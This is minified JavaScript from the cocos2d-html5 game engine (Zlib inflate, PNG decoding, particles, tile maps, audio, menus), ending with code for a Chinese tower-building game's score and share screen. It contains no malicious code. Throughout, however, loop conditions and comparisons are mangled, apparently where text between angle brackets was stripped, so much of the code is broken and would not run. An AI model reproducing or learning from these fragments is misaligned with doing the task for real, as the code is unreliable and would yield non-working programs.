e};c("Zlib.Inflate",z);c("Zlib.Inflate.BufferType",A);A.Y6=A.YQ;A.s7=A.lR;c("Zlib.Inflate.prototype.decompress",z.prototype.d);A=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];y&&new Uint16Array(A);A=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];y&&new Uint16Array(A);A=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];y&&new Uint8Array(A);A=[1,2,3,4,5,7,9,13, 17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];y&&new Uint16Array(A);A=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];y&&new Uint8Array(A);A=new (y?Uint8Array:Array)(288);w=0;for(C=A.length;w=w?8:255>=w?9:279>=w?7:8;g(A);A=new (y?Uint8Array:Array)(30);w=0;for(C=A.length;wa;++a)f.push(String.fromCharCode(this.data[this.Xa++]));a=f.join("");switch(a){case "IHDR":this.width=this.Oj();this.height=this.Oj();this.Yo=this.data[this.Xa++];this.wE=this.data[this.Xa++];this.Xa++;this.Xa++;this.Xa++;break;case "acTL":this.hE={uha:this.Oj(),vha:this.Oj()||Infinity,frames:[]};break;case "PLTE":this.QF= this.it(c);break;case "fcTL":e&&this.hE.frames.push(e);this.Xa+=4;e={width:this.Oj(),height:this.Oj(),KQ:this.Oj(),LQ:this.Oj()};a=this.iP();c=this.iP()||100;e.Gaa=1E3*a/c;e.Taa=this.data[this.Xa++];e.haa=this.data[this.Xa++];e.data=[];break;case "IDAT":case "fdAT":"fdAT"===a&&(this.Xa+=4,c-=4);a=(null!=e?e.data:void 0)||this.Dx;for(f=0;0<=c?fc;0<=c?++f:--f)a.push(this.data[this.Xa++]);break;case "tRNS":this.kn={};switch(this.wE){case 3:this.kn.pF=this.it(c);c=255-this.kn.pF.length;if(0c;0<=c?++a:--a)this.kn.pF.push(255);break;case 0:this.kn.Cea=this.it(c)[0];break;case 2:this.kn.gja=this.it(c)}break;case "tEXt":f=this.it(c);c=f.indexOf(0);a=String.fromCharCode.apply(String,f.slice(0,c));this.text[a]=String.fromCharCode.apply(String,f.slice(c+1));break;case "IEND":e&&this.hE.frames.push(e);a:{switch(this.wE){case 0:case 3:case 4:e=1;break a;case 2:case 6:e=3;break a}e=void 0}this.t=e;this.fO=4===(d=this.wE)||6===d;d=this.t+(this.fO?1:0);this.a4=this.Yo*d;Uint8Array!= Array&&(this.Dx=new Uint8Array(this.Dx));return;default:this.Xa+=c}this.Xa+=4;if(this.Xa>this.data.length)throw Error("Incomplete or corrupt PNG file");}},it:function(a){var c,d;d=[];for(c=0;0<=a?ca;0<=a?++c:--c)d.push(this.data[this.Xa++]);return d},Oj:function(){var a,c,d,e;a=this.data[this.Xa++]<<24;c=this.data[this.Xa++]<<16;d=this.data[this.Xa++]<<8;e=this.data[this.Xa++];return a|c|d|e},iP:function(){var a,c;a=this.data[this.Xa++]<<8;c=this.data[this.Xa++];return a|c},W_:function(a){var c, d,e,f,g,h,k,m,p,q,r,t,s,u,v;null==a&&(a=this.Dx);if(0===a.length)return new Uint8Array(0);a=(new Zlib.yn(a,{index:0,GQ:!1})).$M();m=this.a4/8;t=m*this.width;p=new Uint8Array(t*this.height);h=a.length;for(d=q=r=0;q=f*d)!1===this.LF?a.push(e>>>8*(4-f)):a.push(e);else for(var g=0;g=a)b.log("No bytes requested");else{if(1>=a)return this.getUint8(c);if(2>=a)return this.getUint16(c);if(3>=a)return this.getUint32(c)>>>8;if(4>=a)return this.getUint32(c);b.log("Too many bytes requested")}},S0:function(a, c,d){d=d||0;c+=Math.floor(d/8);var e=d+a;a=32-a;var f,g;0>=e?console.log("No bits requested"):8>=e?(f=24+d,g=this.getUint8(c)):16>=e?(f=16+d,g=this.getUint16(c)):32>=e?(f=d,g=this.getUint32(c)):console.log("Too many bits requested");return{bits:g<>>a,byteOffset:c+Math.floor(e/8),bitOffset:e%8}},eP:function(a){var c=this.getUint16(a),d=[];a+=2;for(var e=0;e=B?G=B+1:-127<=B&&-1>=B?O=-B+1:y=!0}else{for(var R=this.getUint8(x+D),B=0;Ba?a:200;else{if(a>this.Ru){var c=b.zb.BYTES_PER_ELEMENT;this.jb=new Uint16Array(6*a);var d=new ArrayBuffer(a*c),e=this.Hk;e.length=0;for(var f=this.zc,g=f.length=0;g=this.mb},M6:function(a,c){var d=null;this.X?(d=this.X.textureAtlas.quads[this.atlasIndex+ a.atlasIndex],this.X.textureAtlas.dirty=!0):d=this.zc[this.df];var e,f,g,h;this.Pa?(e=0|a.color.r*a.color.a/255,f=0|a.color.g*a.color.a/255,g=0|a.color.b*a.color.a/255):(e=0|a.color.r,f=0|a.color.g,g=0|a.color.b);h=0|a.color.a;var k=d.F.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.O.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.N.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.L.t;k.r=e;k.g=f;k.b=g;k.a=h;e=a.size/2;if(a.rotation){f=-e;g=-e;h=c.x;var k=c.y,m=-b.Pf(a.rotation),p=Math.cos(m),m=Math.sin(m);d.F.i.x=f*p-g*m+h;d.F.i.y=f*m+g*p+k;d.O.i.x= e*p-g*m+h;d.O.i.y=e*m+g*p+k;d.N.i.x=f*p-e*m+h;d.N.i.y=f*m+e*p+k;d.L.i.x=e*p-e*m+h;d.L.i.y=e*m+e*p+k}else d.F.i.x=c.x-e,d.F.i.y=c.y-e,d.O.i.x=c.x+e,d.O.i.y=c.y-e,d.N.i.x=c.x-e,d.N.i.y=c.y+e,d.L.i.x=c.x+e,d.L.i.y=c.y+e},g4:function(){if(b.B===b.W){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER,this.sc[0]);a.bufferData(a.ARRAY_BUFFER,this.ad,a.DYNAMIC_DRAW)}},update:function(a){if(this.xo&&this.Mm){var c=1/this.Mm;this.qdc;)this.YZ(),this.Rl-=c;this.ib+=a; -1!=this.duration&&this.duratione.wd&&(this.uX(f+d),e.uN(e.wd-d,d));a.mp()+d!=f&&e.RO(c,c+d);e.hO(d);this.ND()},removeChild:function(a,c){if(null!=a){if(!(a instanceof b.o))throw"cc.ParticleBatchNode.removeChild(): only supports cc.ParticleSystem as children";if(-1==this.u.indexOf(a))b.log("cc.ParticleBatchNode.removeChild(): doesn't contain the sprite. Can't remove it");else{b.m.prototype.removeChild.call(this,a,c);var d=this.textureAtlas; d.x4(a.mp(),a.mb);d.uN(d.totalQuads,a.mb);a.ol(null);this.ND()}}},Lp:function(a,c){if(!a)throw"cc.ParticleBatchNode.reorderChild(): child should be non-null";if(!(a instanceof b.o))throw"cc.ParticleBatchNode.reorderChild(): only supports cc.QuadParticleSystems as children";if(-1===this.u.indexOf(a))b.log("cc.ParticleBatchNode.reorderChild(): Child doesn't belong to batch");else if(c!=a.zIndex){if(1a)return e;return d},RW:function(a,c){for(var d=!1,e=!1,f= 0,g=0,h=0,k=this.u,m=k.length,p=0;pc&&!e&&(f=p,e=!0,d&&e))break;if(a==q&&(g=p,d=!0,e||(h=-1),d&&e))break}e||(f=m);return{SO:f+h,UO:g}},XA:function(a,c,d){if(!a)throw"cc.ParticleBatchNode._addChildHelper(): child should be non-null";if(a.parent)return b.log("cc.ParticleBatchNode._addChildHelper(): child already added. It can't be added again"),null;this.u||(this.u=[]);var e=this.GY(c);this.u.splice(e,0,a);a.tag=d;a.ow(c);a.parent=this;this.sh&&(a.aa(),a.Nh());return e}, Nf:function(){this.textureAtlas.texture.Ai()||(this.s.src=b.SRC_ALPHA,this.s.R=b.ONE_MINUS_SRC_ALPHA)},gF:function(){return this.textureAtlas},vG:function(a){this.textureAtlas=a}});n=b.Oz.prototype;b.j(n,"texture",n.Ca,n.Ya);b.Oz.create=function(a,c){return new b.Oz(a,c)};b.j8=function(a,c,d){this.Dh=a||b.rect(0,0,0,0);this.end=c||b.rect(0,0,0,0);this.duration=d||0};b.i8=b.oa.extend({ctor:function(){b.Bi.zM(this)},qy:function(){b.Bi.qy(this)},u_:function(){return b.Bi.GM(this)},hN:function(){return b.Bi.gN(this)},qE:function(){return!1},Z_:function(){},rE:function(){return!1},$_:function(){},vO:function(){},dN:function(){},TE:function(){return""},a3:function(){},Y2:function(){},Z2:function(){},X2:function(){}}); b.yz=b.oa.extend({hc:null,Sa:null,$i:"",Xl:null,ctor:function(){this.Sa=new b.yz.cS;this.Xl=b.d(0,0)},ba:function(){if(!b.pa.Mg){this.hc=b.rb("#imeDispatcherInput");this.hc||(this.hc=b.MQ(),this.hc.setAttribute("type","text"),this.hc.setAttribute("id","imeDispatcherInput"),this.hc.resize(0,0),this.hc.uQ(0,0),this.hc.style.opacity="0",this.hc.style.fontSize="1px",this.hc.setAttribute("tabindex",2),this.hc.style.position="absolute",this.hc.style.top=0,this.hc.style.left=0,document.body.appendChild(this.hc)); var a=this;b.Ha(this.hc,"input",function(){a.LC(a.hc.value)},!1);b.Ha(this.hc,"keydown",function(c){c.keyCode===b.vq.q6?(c.stopPropagation(),c.preventDefault()):c.keyCode==b.vq.mN&&(a.Es("\n",1),c.stopPropagation(),c.preventDefault())},!1);/msie/i.test(navigator.userAgent)&&b.Ha(this.hc,"keyup",function(c){c.keyCode==b.vq.HM&&a.LC(a.hc.value)},!1);b.Ha(window,"mousedown",function(c){var d=c.pageY||0;a.Xl.x=c.pageX||0;a.Xl.y=d},!1)}},LC:function(a){var c,d;c=this.$i.length=c||this.Sa.ae&&this.Sa.ae.vO(a,c)},iN:function(){this.Sa&&this.Sa.ae&&this.Sa.ae.dN()},TE:function(){if(this.Sa&&this.Sa.ae){var a=this.Sa.ae.TE();return a?a:""}return""},Saa:function(){if(this.Sa)for(var a=0;aa?a==b.vq.HM?this.iN(): a==b.vq.mN&&this.Es("\n",1):255>a&&this.Es(String.fromCharCode(a),1)}});b.yz.cS=b.oa.extend({ae:null,tg:null,ctor:function(){this.tg=[]},Pba:function(a){for(var c=0;c=a?(this.Gf="",this.$u=0,b.P.prototype.ed.call(this,this.gm)):this.string=this.Gf.substring(0,a-1))},qy:function(){b.Bi.qy(this)},vO:function(a){var c=a;a=c.indexOf("\n");-1=a.length||!(h=a[e])||(k=p[c].height,f=f>=k||isNaN(k)?f:k,++g,g>=h&&(d+=f+5,f=g=0,++e));var q=b.J.ya(),r=h=f=e=0,t=0,d=d/2;if(p&&0=k||isNaN(k)?f:k;s.T(t-q.width/2,d-k/2);t+=r;++g;g>=h&&(d-=f+5,f=h=g=0,++e)}},X$:function(){0=a.length||!(p=a[h]))||(t=q.width,k=k>=t||isNaN(t)?k:t,g+=q.height+5,++m,m>=p&&(d.push(k),e.push(g),f+=k+ 10,k=m=0,g=-5,++h));g=b.J.ya();p=k=h=0;var f=-f/2,u=0;if(s&&0=t||isNaN(t)?k:t,q.T(f+d[h]/2,u-g.height/2),u-=q.height+10,++m,m>=p&&(f+=k+5,k=p=m=0,++h)},removeChild:function(a,c){null!=a&&(a instanceof b.yc?(this.Pc==a&&(this.Pc=null),b.m.prototype.removeChild.call(this,a,c)):b.log("cc.Menu.removeChild():Menu only supports MenuItem objects as children"))},eY:function(a,c){var d=c.Wc;if(d.zh!=b.xq||!d.Zb||!d.enabled)return!1; for(var e=d.parent;null!=e;e=e.parent)if(!e.Zb)return!1;d.Pc=d.UK(a);return d.Pc?(d.zh=b.wq,d.Pc.selected(),!0):!1},gY:function(a,c){var d=c.Wc;d.zh!==b.wq?b.log("cc.Menu.onTouchEnded(): invalid state"):(d.Pc&&(d.Pc.Qh(),d.Pc.ss()),d.zh=b.xq)},fY:function(a,c){var d=c.Wc;d.zh!==b.wq?b.log("cc.Menu.onTouchCancelled(): invalid state"):(this.Pc&&d.Pc.Qh(),d.zh=b.xq)},iY:function(a,c){var d=c.Wc;if(d.zh!==b.wq)b.log("cc.Menu.onTouchMoved(): invalid state");else{var e=d.UK(a);e!=d.Pc&&(d.Pc&&d.Pc.Qh(), d.Pc=e,d.Pc&&d.Pc.selected())}},xb:function(){this.zh==b.wq&&(this.Pc&&(this.Pc.Qh(),this.Pc=null),this.zh=b.xq);b.m.prototype.xb.call(this)},rf:function(){},Uf:function(){return!1},UK:function(a){a=a.Is();var c=this.u,d;if(c&&0c)return!1;a=new b.XQ(a);a.Fy(e);d.type=a.S();e+=10;if(e+4+1>c)return!1;a.Fy(e);d.width=a.q4();d.height=a.p4();d.pixelDepth=a.S();if(e+5+1>c)return!1;c=a.S();d.xN=0;c&32&&(d.xN=1);return!0};b.Nla=function(a,c,d){var e,f;e=0|d.pixelDepth/2;f=d.height*d.width*e;if(18+f>c)return!1;d.mf=b.Lu(a,18,18+f);if(3<=e)for(a=0;ac)break;q=a[r];r+=1;(m=q&128)&&(q-=128);k=0}if(!k){if(r+e>c)break;p=b.Lu(a,r,r+e);r+=e;3<=e&&(k=p[0],p[0]=p[2],p[2]=k)}for(k=0;k>3;this.XV(d);var d=Math.pow(2,c-1)-1,f=this.OC(a+c,1,e),g=this.OC(a,c,e),h=0,k=2,m=0;do for(var p=this.fw(++m,e),q=a%8||8,r=1<>=1;)p&r&&(h+=1/k),k*=2;while(a-=q);this.wa+=e;return g==(d<<1)+1?h?NaN:f?-Infinity:Infinity:(1+-2*f)*(g||h?g?Math.pow(2, g-d)*(1+h):Math.pow(2,-d+1)*h:0)},fw:function(a,c){return this.bo[this.wa+c-a-1]},ev:function(a,c){var d=this.OC(0,a,a/8),e=Math.pow(2,a);this.wa+=a/8;return c&&d>=e/2?d-e:d},rZ:function(a,c){for(++c;--c;a=1073741824==((a%=2147483648)&1073741824)?2*a:2*(a-1073741824)+2147483648);return a},OC:function(a,c,d){var e=(a+c)%8,f=a%8,g=d-(a>>3)-1;a=d+(-(a+c)>>3);var h=g-a;c=this.fw(g,d)>>f&(1<<(h?8-f:c))-1;for(h&&e&&(c+=(this.fw(a++,d)&(1<>>0>=g.Pm)return g}}b.log("cocos2d: Warning: TMX Layer "+a.name+" has no tiles");return null}});n=b.lA.prototype;b.j(n,"mapWidth",n.RB,n.gD);b.j(n,"mapHeight",n.QB,n.fD);b.j(n,"tileWidth",n.xr,n.Yr);b.j(n,"tileHeight",n.wr,n.Xr);b.lA.create=function(a,c){return new b.lA(a,c)};b.sU=0;b.m9=1;b.l9=2;b.o9=3;b.n9=4;b.p9=5;b.Mq=2147483648;b.Nq=1073741824;b.gI=536870912;b.hI=(b.Mq|b.Nq|b.gI)>>>0;b.mA=~b.hI>>>0;b.Gl=b.oa.extend({Gb:null,name:"",qa:null,Ge:null,visible:null,Pd:null,YO:!0,$l:1E5,Zl:0,offset:null,ctor:function(){this.Gb=[];this.name="";this.qa=null;this.Ge=[];this.visible=!0;this.Pd=0;this.YO=!0;this.$l=1E5;this.Zl=0;this.offset=b.d(0,0)},px:function(){return this.Gb},Hy:function(a){this.Gb=a}}); b.rU=b.oa.extend({name:"",Pm:0,Fb:null,ut:0,margin:0,hQ:"",Cx:null,ctor:function(){this.Fb=b.size(0,0);this.Cx=b.size(0,0)},jt:function(a){var c=b.rect(0,0,0,0);c.width=this.Fb.width;c.height=this.Fb.height;a&=b.mA;a-=parseInt(this.Pm,10);var d=parseInt((this.Cx.width-2*this.margin+this.ut)/(this.Fb.width+this.ut),10);c.x=parseInt(a%d*(this.Fb.width+this.ut)+this.margin,10);c.y=parseInt(parseInt(a/d,10)*(this.Fb.height+this.ut)+this.margin,10);return c}}); b.Lq=b.pu.extend({Gb:null,orientation:null,parentElement:null,my:null,Yx:0,EG:!1,Wp:null,DE:null,Sv:null,Zc:null,Fb:null,de:null,um:null,vj:null,jw:"",vJ:0,ctor:function(a,c){b.pu.prototype.ctor.apply(this);this.Zc=b.size(0,0);this.Fb=b.size(0,0);this.de=[];this.um=[];this.Sv=[];this.Gb=[];this.vj={};this.vJ=0;void 0!==c?this.uF(a,c):void 0!==a&&this.tF(a)},rda:function(){return this.orientation},rka:function(a){this.orientation=a},ZE:function(){return b.size(this.Zc.width,this.Zc.height)},OP:function(a){this.Zc.width= a.width;this.Zc.height=a.height},RB:function(){return this.Zc.width},gD:function(a){this.Zc.width=a},QB:function(){return this.Zc.height},fD:function(a){this.Zc.height=a},sp:function(){return b.size(this.Fb.width,this.Fb.height)},dQ:function(a){this.Fb.width=a.width;this.Fb.height=a.height},xr:function(){return this.Fb.width},Yr:function(a){this.Fb.width=a},wr:function(){return this.Fb.height},Xr:function(a){this.Fb.height=a},ada:function(){return this.de},j5:function(a){this.de.push(a)},gea:function(){return this.um}, J5:function(a){this.um.push(a)},IN:function(){return this.Sv},PP:function(a){this.Sv.push(a)},vda:function(){return this.parentElement},wka:function(a){this.parentElement=a},wda:function(){return this.my},xka:function(a){this.my=a},Xca:function(){return this.Yx},cka:function(a){this.Yx=a},Xda:function(){return this.EG},Oka:function(a){this.EG=a},px:function(){return this.Gb},Hy:function(a){this.Gb=a},tF:function(a){this.KK(a,null);return this.RF(a)},uF:function(a,c){this.KK(null,c);return this.W3(a)}, RF:function(a,c){var d=(c=c||!1)?a:b.V.Cd(a);if(!d)throw"Please load the resource first : "+a;var e,f,d=this.wC(d).documentElement;e=d.getAttribute("version");f=d.getAttribute("orientation");if("map"==d.nodeName&&("1.0"!=e&&null!==e&&b.log("cocos2d: TMXFormat: Unsupported TMX version:"+e),"orthogonal"==f?this.orientation=b.yu:"isometric"==f?this.orientation=b.xu:"hexagonal"==f?this.orientation=b.Hl:null!==f&&b.log("cocos2d: TMXFomat: Unsupported orientation:"+f),e=b.size(0,0),e.width=parseFloat(d.getAttribute("width")), e.height=parseFloat(d.getAttribute("height")),this.OP(e),e=b.size(0,0),e.width=parseFloat(d.getAttribute("tilewidth")),e.height=parseFloat(d.getAttribute("tileheight")),this.dQ(e),f=d.querySelectorAll("map \x3e properties \x3e property"))){var g={};for(e=0;ethis.fL){this.yw||(this.yw=[]);this.zw||(this.zw=[]);this.Sk=Math.ceil(d/this.fL);d=this.yw;for(f=0;f=this.qa.width||a.y>=this.qa.height|| 0>a.x||0>a.y)throw"cc.TMXLayer.getTileAt(): invalid position";if(!this.Id||!this.Ld)return b.log("cc.TMXLayer.getTileAt(): TMXLayer: the tiles map has been released"),null;var d=null,e=this.hF(a);if(0===e)return d;var f=0|a.x+a.y*this.qa.width,d=this.Hh(f);d||(e=this.eg.jt(e),e=b.ml(e),d=new b.D,d.sa(this.texture,e),d.batchNode=this,d.T(this.ox(a)),d.vertexZ=this.tM(a),d.anchorX=0,d.anchorY=0,d.opacity=this.Pd,e=this.ZA(f),this.$Z(d,e,f));return d},hF:function(a,c){if(!a)throw"cc.TMXLayer.getTileGIDAt(): pos should be non-null"; void 0!==c&&(a=b.d(a,c));if(a.x>=this.qa.width||a.y>=this.qa.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileGIDAt(): invalid position";return this.Id&&this.Ld?(this.Id[0|a.x+a.y*this.qa.width]&b.mA)>>>0:(b.log("cc.TMXLayer.getTileGIDAt(): TMXLayer: the tiles map has been released"),null)},Z1:function(a,c){if(!a)throw"cc.TMXLayer.getTileFlagsAt(): pos should be non-null";void 0!==c&&(a=b.d(a,c));if(a.x>=this.qa.width||a.y>=this.qa.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileFlagsAt(): invalid position"; return this.Id&&this.Ld?(this.Id[0|a.x+a.y*this.qa.width]&b.hI)>>>0:(b.log("cc.TMXLayer.getTileFlagsAt(): TMXLayer: the tiles map has been released"),null)},Vka:function(a,c,d,e){if(!c)throw"cc.TMXLayer.setTileGID(): pos should be non-null";void 0!==e?c=b.d(c,d):e=d;if(c.x>=this.qa.width||c.y>=this.qa.height||0>c.x||0>c.y)throw"cc.TMXLayer.setTileGID(): invalid position";if(this.Id&&this.Ld)if(0!==a&&a>>0,0===a)this.z4(c);else if(0===f)this.IX(d,c);else{var f=c.x+c.y*this.qa.width,g=this.Hh(f);g?(a=this.eg.jt(a),a=b.ml(a),g.qb(a,!1),null!=e&&this.rw(g,c,d),this.Id[f]=d):this.QZ(d,c)}}else b.log("cc.TMXLayer.setTileGID(): TMXLayer: the tiles map has been released")},z4:function(a,c){if(!a)throw"cc.TMXLayer.removeTileAt(): pos should be non-null";void 0!==c&&(a=b.d(a,c));if(a.x>=this.qa.width||a.y>=this.qa.height||0>a.x||0>a.y)throw"cc.TMXLayer.removeTileAt(): invalid position"; if(!this.Id||!this.Ld)b.log("cc.TMXLayer.removeTileAt(): TMXLayer: the tiles map has been released");else if(0!==this.hF(a)){b.B===b.Aa&&this.ri();var d=0|a.x+a.y*this.qa.width,e=this.ZA(d);this.Id[d]=0;this.Ld.splice(e,1);if(d=this.Hh(d))b.te.prototype.removeChild.call(this,d,!0);else if(b.B===b.W&&this.textureAtlas.rP(e),this.u)for(var d=this.u,f=0,g=d.length;f=e&&(h.atlasIndex=k-1)}}}},ox:function(a,c){void 0!==c&&(a=b.d(a,c));var d=b.d(0,0);switch(this.Ij){case b.yu:d= this.uY(a);break;case b.xu:d=this.tY(a);break;case b.Hl:d=this.sY(a)}return b.TF(d)},cF:function(a){return this.Gb[a]},S5:function(){b.B===b.Aa?this.eg.Cx=this.jc.Q:(this.eg.Cx=this.textureAtlas.texture.Q,this.textureAtlas.texture.fG());this.nY();b.B===b.Aa&&this.ri();for(var a=this.qa.height,c=this.qa.width,d=0;d=this.eg.Pm&&this.$l>=this.eg.Pm||b.log("cocos2d:TMX: Only 1 tileset per layer is supported")}, M:function(){b.log("addChild: is not supported on cc.TMXLayer. Instead use setTileGID or tileAt.")},removeChild:function(a,c){if(a)if(-1===this.u.indexOf(a))b.log("cc.TMXLayer.removeChild(): Tile does not belong to TMXLayer");else{b.B===b.Aa&&this.ri();var d=a.atlasIndex;this.Id[this.Ld[d]]=0;this.Ld.splice(d,1);b.te.prototype.removeChild.call(this,a,c)}},Yca:function(){return this.Zx},dka:function(a){this.Zx=a},tY:function(a){return b.d(this.Ub.width/2*(this.qa.width+a.x-a.y-1),this.Ub.height/2* (2*this.qa.height-a.x-a.y-2))},uY:function(a){return b.d(a.x*this.Ub.width,(this.qa.height-a.y-1)*this.Ub.height)},sY:function(a){return b.d(a.x*this.Ub.width*3/4,(this.qa.height-a.y-1)*this.Ub.height+(1==a.x%2?-this.Ub.height/2:0))},RV:function(a){var c=b.d(0,0);switch(this.Ij){case b.yu:c=b.d(a.x*this.Ub.width,-a.y*this.Ub.height);break;case b.xu:c=b.d(this.Ub.width/2*(a.x-a.y),this.Ub.height/2*(-a.x-a.y));break;case b.Hl:0===a.x&&0===a.y||b.log("offset for hexagonal map not implemented yet")}return c}, JV:function(a,c){var d=this.eg.jt(a),d=b.ml(d),e=0|c.x+c.y*this.qa.width,d=this.WC(d);this.rw(d,c,a);var f=this.Ld.length;this.Jx(d,f);this.Ld.splice(f,0,e);return d},IX:function(a,c){var d=this.eg.jt(a),d=b.ml(d),e=0|c.x+c.y*this.qa.width,d=this.WC(d);this.rw(d,c,a);var f=this.LV(e);this.Jx(d,f);this.Ld.splice(f,0,e);if(this.u)for(var g=this.u,h=0,k=g.length;h=f&&(m.atlasIndex=p+1)}}this.Id[e]=a;return d},QZ:function(a,c){var d=this.eg.jt(a),e=this.dh, d=b.rect(d.x/e,d.y/e,d.width/e,d.height/e),e=c.x+c.y*this.qa.width,d=this.WC(d);this.rw(d,c,a);d.atlasIndex=this.ZA(e);d.dirty=!0;d.Se();this.Id[e]=a;return d},nY:function(){var a=this.cF("cc_vertexz");if(a)if("automatic"==a){this.QD=!0;var c=this.cF("cc_alpha_func"),a=0;c&&(a=parseFloat(c));b.B===b.W&&(this.shaderProgram=b.Hd.nc(b.ru),c=b.l.getUniformLocation(this.shaderProgram.Vm(),b.SI),this.shaderProgram.Ic(),this.shaderProgram.rt(c,a))}else this.WD=parseInt(a,10)},rw:function(a,c,d){var e=c.x+ c.y*this.qa.width;a.T(this.ox(c));b.B===b.W?a.vertexZ=this.tM(c):a.tag=e;a.anchorX=0;a.anchorY=0;a.opacity=this.Pd;b.B===b.W&&(a.rotation=0);a.Ay(!1);a.mG(!1);(d&b.gI)>>>0?(a.anchorX=0.5,a.anchorY=0.5,a.x=this.ox(c).x+a.width/2,a.y=this.ox(c).y+a.height/2,c=(d&(b.Mq|b.Nq)>>>0)>>>0,c==b.Mq?a.rotation=90:c==b.Nq?a.rotation=270:(a.rotation=c==(b.Nq|b.Mq)>>>0?90:270,a.Ay(!0))):((d&b.Mq)>>>0&&a.Ay(!0),(d&b.Nq)>>>0&&a.mG(!0))},WC:function(a){b.B===b.W?(this.qh?(this.qh.batchNode=null,this.qh.qb(a,!1)): (this.qh=new b.D,this.qh.sa(this.texture,a,!1)),this.qh.batchNode=this):(this.qh=new b.D,this.qh.sa(this.Uk,a,!1),this.qh.batchNode=this,this.qh.parent=this);return this.qh},tM:function(a){var c=0,d=0;if(this.QD)switch(this.Ij){case b.xu:d=this.qa.width+this.qa.height;c=-(d-(a.x+a.y));break;case b.yu:c=-(this.qa.height-a.y);break;case b.Hl:b.log("TMX Hexa zOrder not supported");break;default:b.log("TMX invalid value")}else c=this.WD;return c},ZA:function(a){var c;if(this.Ld)for(var d=this.Ld,e=0, f=d.length;e=this.jC)return b.log("Error: "+c+" greater than "+this.jC),null;d=this.xv(c);if(!d)return null;d=d.cloneNode(!0);this.tk&&b.Ha(d,"pause",this.tk);d.volume=this.mv;return d},ny:function(a,c){var d=this.wK(a);if(!d)return null;d.loop=c||!1;d.play();var e=this.kJ++;this.be[e]=d;return e},Oja:function(a){a=this.mv=Math.min(Math.max(a,0),1);var c=this.be,d;for(d in c)c[d].volume= a},Z3:function(a){(a=this.be[a])&&!a.ended&&a.pause()},X3:function(){var a=this.be,c;for(c in a){var d=a[c];d.ended||d.pause()}},F4:function(a){this.nj(this.be[a])},E4:function(){var a=this.be,c;for(c in a)this.nj(a[c])},m6:function(a){this.Rk(this.be[a]);delete this.be[a]},lQ:function(){var a=this.be,c;for(c in a)this.Rk(a[c]),delete a[c]},I6:function(a){var c=b.V,d=this.be,e=this.LB(a);c.Mi(a);if(0!=e.length){c=e[0].src;delete this.Zq[a];for(var f in d)d[f].src==c&&(this.Rk(d[f]),delete d[f])}}, end:function(){this.n6();this.lQ()},pL:function(){var a=this.be,c,d;for(d in a)!(c=a[d])||c.ended||c.paused||(this.Or.push(c),c.pause());this.BF()&&(this.Or.push(this.Lc),this.Lc.pause())},HL:function(){for(var a=this.Or,c=0,d=a.length;cb.pa.AZ&&(b.RG=b.QG.extend({Yk:[],Nr:[],Af:null,jC:2,lv:{},dm:!1,ko:0,$B:!1,yC:function(a){this.AD();this._super(a)},G4:function(){1==this.cf&&(this.AD(),this.dm=!1,this.ko=0,this._super())},ny:function(a,c){var d=this.Af,e=c?this.wK(a):this.nX(a);if(!e)return null;e.loop=c||!1;var f=this.kJ++;this.be[f]=e;this.BF()&&(this.fP(),this.dm=!0);d?(d!=e&&this.Yk.push(this.ao),this.Yk.push(f),d.pause()):(this.Af=e,this.ao=f,e.play());return f},Z3:function(){b.log("pauseEffect not supported in single audio mode!")}, X3:function(){var a=this.Yk,c=this.Nr,d=this.Af;if(d){for(var e=0,f=a.length;ethis.rh+5?!0:!1;if(this.bmthis.rh+12?!0:!1;if(this.bmd.Ae&&ed.rh&&e=this.bm?this.nC=1:640<=this.cm&&(this.nC=-1),this.gL=Math.min(2+0.15*$,7.5),this.yd.x+= this.gL*this.nC,this.bm=this.yd.x,this.cm=this.yd.x+this.ij*this.me,this.E3())},P3:function(){b.J.ot(new va)},BM:function(a){this.jl.x=b.sf.width/2-42;this.jl.Xf(!0);var c=0;do{var d=new b.D("res/"+Math.floor(a%10)+".png");d.y=0;d.x=0-84*c;this.jl.M(d);a=Math.floor(a/10);c++;this.jl.x+=42}while(0c?d="\u8fd8\u9700\u78e8\u7ec3":30<=c&&40>c?d="\u5c0f\u8bd5\u8eab\u624b":40<=c&&50>c?d="\u521d\u7ea7\u6ce5\u74e6\u5320":50<=c&&60>c?d="\u521d\u7ea7\u5de5\u7a0b\u5e08":60<=c&&70>c?d="\u76d6\u697c\u80fd\u624b":70<=c&&80>c?d="\u76d6\u697c\u5927\u5e08":80<=c&&(d="\u5efa\u9020\u5927\u795e");e.ed(d);shareTitle="\u300a\u81ea\u5df1\u6765\u5efa\u623f\u300b\u3010\u641e\u5b9a\u4e08\u6bcd\u5a18\u3011\u6211\u5efa\u9020\u4e86\u4e00\u680b"+ c+"\u5c42\u9ad8\u7684\u697c\uff0c\u4f60\u80fd\u5efa\u591a\u9ad8\uff1f";dp_submitScore(c,shareTitle);c=new b.En(Z.Wj,Z.Wj,this.M3,this);c.x=a.width/2;c.y=a.height/2+80;e=new b.P("\u91cd\u65b0\u5f00\u59cb","Arial",60);e.x=a.width/2;e.y=a.height/2+80;this.M(e,1);e=new b.En(Z.Wj,Z.Wj,this.WO,this);e.x=a.width/2;e.y=a.height/2-50;d=new b.P("\u5206\u4eab","Arial",60);d.x=a.width/2;d.y=a.height/2-50;this.M(d,1);d=new b.En(Z.Wj,Z.Wj,this.WO,this);d.x=a.width/2;d.y=a.height/2-180;f=new b.P("\u6536\u85cf","Arial",60);f.x=a.width/2;f.y= a.height/2-180;this.M(f,1);f=new b.En(Z.Wj,Z.Wj,this.L3,this);f.x=a.width/2;f.y=a.height/2-310;var g=new b.P("\u66f4\u591a\u6e38\u620f","Arial",60);g.x=a.width/2;g.y=a.height/2-310;this.M(g,1);a=new b.Dn(c,e,f,d);this.M(a);a.x=0;a.y=0;this.Yl=new 